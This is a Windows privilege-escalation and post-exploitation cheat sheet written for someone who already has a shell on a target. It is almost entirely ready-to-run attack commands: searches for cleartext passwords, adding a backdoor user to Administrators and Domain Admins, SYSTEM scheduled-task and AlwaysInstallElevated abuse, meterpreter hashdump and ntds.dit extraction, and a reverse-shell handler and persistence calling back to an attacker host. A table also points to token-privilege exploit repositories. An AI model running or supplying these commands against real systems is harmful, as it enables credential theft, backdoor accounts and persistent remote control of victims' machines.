Windows Privesc checklist
You have a shell on a Windows Device, now what?
DOMAIN ENUM (if joined)
BloodHound / SharpHound
Who are we? What can we do? Initial Enumeration
WHOAMI?
whoami
echo %username%
PRIVILEGES?
whoami /priv
SYSTEM INFO
systeminfo
wmic os get Caption,CSDVersion,OSArchitecture,Version
SERVICES
wmic service get name,startname
net start
ADMIN CHECK
net localgroup administrators
net user
NETWORK
netstat -anoy
route print
arp -A
ipconfig /all
USERS
net users
net user
net localgroup
FIREWALL
netsh advfirewall firewall show rule name=all
SCHEDULED TASKS
schtasks /query /fo LIST /v > schtasks.txt
INSTALLATION RIGHTS
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
PRIVESC CHECKLIST
UNQUOTED SERVICE PATHS
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "C:\Windows" | findstr /v '"'
WEAK SERVICE PERMISSIONS
accesschk.exe -uwcqv <service>
sc qc <service>
icacls "C:\Path\To\Service.exe"
FILE TRANSFER OPTIONS
certutil.exe
powershell (IEX)
SMB / FTP / TFTP / VBScript
CLEAR TEXT CREDENTIALS
findstr /si password *.txt *.xml *.ini
dir /s *pass* == *cred* == *.config*
WEAK FILE PERMISSIONS
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
NEW ADMIN USER (Local/Domain)
net user bob P@ssw0rd! /add
net localgroup administrators bob /add
net group "Domain Admins" bob /add /domain
SCHEDULED TASK ABUSE
ENUM
schtasks /query /fo LIST /v > tasks.txt
CREATE SYSTEM TASK
schtasks /create /ru SYSTEM /sc MINUTE /mo 5 /tn RUNME /tr "C:\Tools\bobMaint.exe"
RUN TASK
schtasks /run /tn "RUNME"
POST EXPLOIT ENUMERATION
NETWORK USERS
net user
net user <target>
net localgroup administrators
NT AUTHORITY CHECKS
whoami
accesschk.exe /accepteula
MS09-012.exe "whoami"
HASH DUMP
meterpreter > hashdump
EXFILTRATE ntds.dit
Use secretsdump.py or disk capture tools
INSTALLER ABUSE
AlwaysInstallElevated = 1
msiexec /i evil.msi
SHARE ENUMERATION
net share
net use
net use Z: \\TARGET\SHARE /persistent:yes
WINDOWS PRIV ESC: GITHUB EXPLOITS
Privilege Name | GitHub PoC |
---|---|
SeDebugPrivilege | github.com/bruno-1337/SeDebugPrivilege- |
SeImpersonatePrivilege | github.com/itm4n/PrintSpoofer |
SeAssignPrimaryToken | github.com/b4rdia/HackTricks |
SeTcbPrivilege | github.com/hatRiot/token-priv |
SeCreateTokenPrivilege | github.com/hatRiot/token-priv |
SeLoadDriverPrivilege | github.com/k4sth4/SeLoadDriverPrivilege |
SeTakeOwnershipPrivilege | github.com/hatRiot/token-priv |
SeRestorePrivilege | github.com/xct/SeRestoreAbuse |
SeBackupPrivilege | github.com/k4sth4/SeBackupPrivilege |
SeIncreaseQuotaPrivilege | github.com/b4rdia/HackTricks |
SeSystemEnvironment | github.com/b4rdia/HackTricks |
SeMachineAccount | github.com/b4rdia/HackTricks |
SeTrustedCredManAccess | learn.microsoft.com/…trusted-caller |
SeRelabelPrivilege | github.com/decoder-it/RelabelAbuse |
SeManageVolumePrivilege | github.com/CsEnox/SeManageVolumeExploit |
SeCreateGlobalPrivilege | github.com/b4rdia/HackTricks |
Notes:
- PrintSpoofer is gold for SeImpersonatePrivilege.
- SeManageVolume has practical field PoCs.
MAINTAINING ACCESS
METERPRETER REVERSE SHELL SETUP
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <port>
exploit
PERSISTENCE
meterpreter > run persistence -U -i 5 -p 443 -r <LHOST>
PORT FORWARDING
meterpreter > portfwd add -l 3306 -p 3306 -r <target_ip>
SYSTEM MIGRATION
meterpreter > run post/windows/manage/migrate
meterpreter > migrate <PID>
EXECUTE PAYLOADS
powershell.exe "C:\Tools\privesc.ps1"
RESOURCES
Windows Exploit Suggester (kind of old)
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Windows privesc checker (contemporary)
https://github.com/itm4n/PrivescCheck
Cross Compile Payloads (Linux > Windows)
apt-get install mingw-w64
x86:
i686-w64-mingw32-gcc hello.c -o hello.exe
x64:
x86_64-w64-mingw32-gcc hello.c -o hello64.exe
Additional Reading
https://www.fuzzysecurity.com/tutorials/16.html
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation